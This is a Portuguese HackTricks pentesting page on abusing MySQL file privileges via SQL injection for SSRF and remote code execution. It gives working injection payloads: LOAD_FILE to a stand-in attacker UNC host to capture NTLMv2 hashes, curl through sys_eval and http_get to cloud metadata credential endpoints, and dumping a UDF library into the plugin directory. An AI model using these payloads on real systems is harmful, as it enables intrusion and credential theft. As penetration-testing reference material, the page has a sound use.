hacktricks/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md

9.5 KiB

MySQL File priv para SSRF/RCE

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

LOAD_FILE/LOAD DATA/LOAD XML para SSRF

Todo artigo sobre exfiltração de dados Out of Band via SQL usará a função de string LOAD_FILE() para fazer uma requisição de rede. A função em si tem suas próprias limitações baseadas no sistema operacional em que é executada e nas configurações com as quais o banco de dados foi iniciado.

Por exemplo, se a variável global secure_file_priv não foi definida, o valor padrão é definido como /var/lib/mysql-files/, o que significa que você só pode usar funções como LOAD_FILE('filename') ou LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename para ler arquivos do diretório /var/lib/mysql-files/. Para poder realizar leituras em arquivos fora deste diretório, a opção secure_file_priv tem que ser definida como "", o que só pode ser feito atualizando o arquivo de configuração do banco de dados ou passando o parâmetro de inicialização --secure_file_priv="" para o serviço do banco de dados.

No entanto, sob circunstâncias em que secure_file_priv está definido como "", deveríamos ser capazes de ler outros arquivos no sistema, assumindo permissões de leitura de arquivos e file_priv definido como Y em mysql.user para o usuário atual do banco de dados. No entanto, a capacidade de usar essas funções para fazer chamadas de rede é muito dependente do sistema operacional. Como essas funções são construídas apenas para ler arquivos, as únicas chamadas de rede relevantes que podem ser feitas são para caminhos UNC em hosts Windows, já que a API CreateFileA do Windows que é chamada ao acessar um arquivo entende as convenções de nomenclatura UNC.

Então, se o banco de dados alvo estiver rodando em uma máquina Windows, a query de injeção x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- // resultaria na máquina Windows enviando hashes NTLMv2 em uma tentativa de autenticar com o servidor controlado pelo atacante \\attackerserver.example.com.

Este Server Side Request Forgery, embora útil, é restrito apenas à porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos configurados com privilégios de leitura completos. Além disso, como mostrado em pesquisas mais antigas, você pode usar essa capacidade limitada de SSRF para roubar hashes e retransmiti-los para obter shells, então é definitivamente útil.

Funções Definidas pelo Usuário para RCE

Outra técnica interessante com bancos de dados MySQL é a capacidade de usar Funções Definidas pelo Usuário (UDF) presentes em arquivos de biblioteca externos que, se presentes em locais específicos ou no $PATH do sistema, podem ser acessadas de dentro do MySQL.

Você poderia usar uma SQL Injection para escrever uma biblioteca (.so ou .dll dependendo de Linux ou Windows), contendo uma Função Definida pelo Usuário que pode fazer requisições de rede/HTTP, que pode ser então invocada através de consultas adicionais.

Isso tem seu próprio conjunto de restrições. Baseado na versão do MySQL, que você pode identificar com select @@version, o diretório de onde os plugins podem ser carregados é restrito. MySQL abaixo de v5.0.67 permitia que arquivos de biblioteca fossem carregados do caminho do sistema se a variável plugin_dir não fosse definida. Isso mudou agora e as versões mais recentes têm a variável plugin_dir definida para algo como /usr/lib/mysql/plugin/, que geralmente é de propriedade do root.

Basicamente para você carregar uma biblioteca personalizada no MySQL e chamar uma função da biblioteca carregada via SQL Injection, você precisaria:

  • capacidade de escrever no local especificado em @@plugin_dir via SQL Injection
  • file_priv definido como Y em mysql.user para o usuário atual do banco de dados
  • secure_file_priv definido como "" para que você possa ler os bytes brutos da biblioteca de um local arbitrário como a rede ou um diretório de uploads de arquivos em uma aplicação web.

Assumindo que as condições acima sejam atendidas, você pode usar a abordagem clássica de transferir a popular biblioteca UDF do MySQL lib_mysqludf_sys para o servidor do banco de dados. Você então seria capaz de fazer solicitações de comandos do sistema operacional como cURL ou powershell wget para realizar SSRF usando a sintaxe

x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //

Há muitas outras funções declaradas nesta biblioteca, uma análise das quais pode ser vista aqui. Se você é preguiçoso como eu, pode pegar uma cópia desta biblioteca UDF, para o sistema operacional alvo, de uma instalação do metasploit do diretório /usr/share/metasploit-framework/data/exploits/mysql/ e começar.

Alternativamente, bibliotecas UDF foram criadas especificamente para fornecer ao banco de dados a capacidade de fazer requisições HTTP. Você pode usar MySQL User-defined function (UDF) para HTTP GET/POST para fazer o banco de dados realizar requisições HTTP, usando a seguinte sintaxe

x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //

Você também pode criar sua própria UDF e usá-la para pós-exploração também.

De qualquer forma, você precisa transferir a biblioteca para o servidor do banco de dados. Você pode fazer isso de várias maneiras

  1. Use a função de string hex() do MySQL ou algo como xxd -p filename.so | tr -d '\n' para converter o conteúdo da biblioteca para formato hexadecimal e depois despejá-lo no diretório @@plugin_dir usando x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //
  2. Alternativamente, converta o conteúdo de filename.so para base64 e use x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //

Se o @@plugin_dir não for gravável, então você está sem sorte se a versão for acima de v5.0.67. Caso contrário, escreva em um local diferente que esteja no caminho e carregue a biblioteca UDF de lá usando

  • para a biblioteca lib_mysqludf_sys - x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //
  • para a biblioteca mysql-udf-http - x';create function http_get returns string soname 'mysql-udf-http.so'; -- //

Para automatizar isso, você pode usar o SQLMap que suporta o uso de UDF personalizado através da opção --udf-inject.

Para SQL Injections cegos, você poderia redirecionar a saída das funções UDF para uma tabela temporária e depois ler os dados de lá ou usar requisição DNS contrabandeada dentro de um comando sys_eval ou sys_exec curl.

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: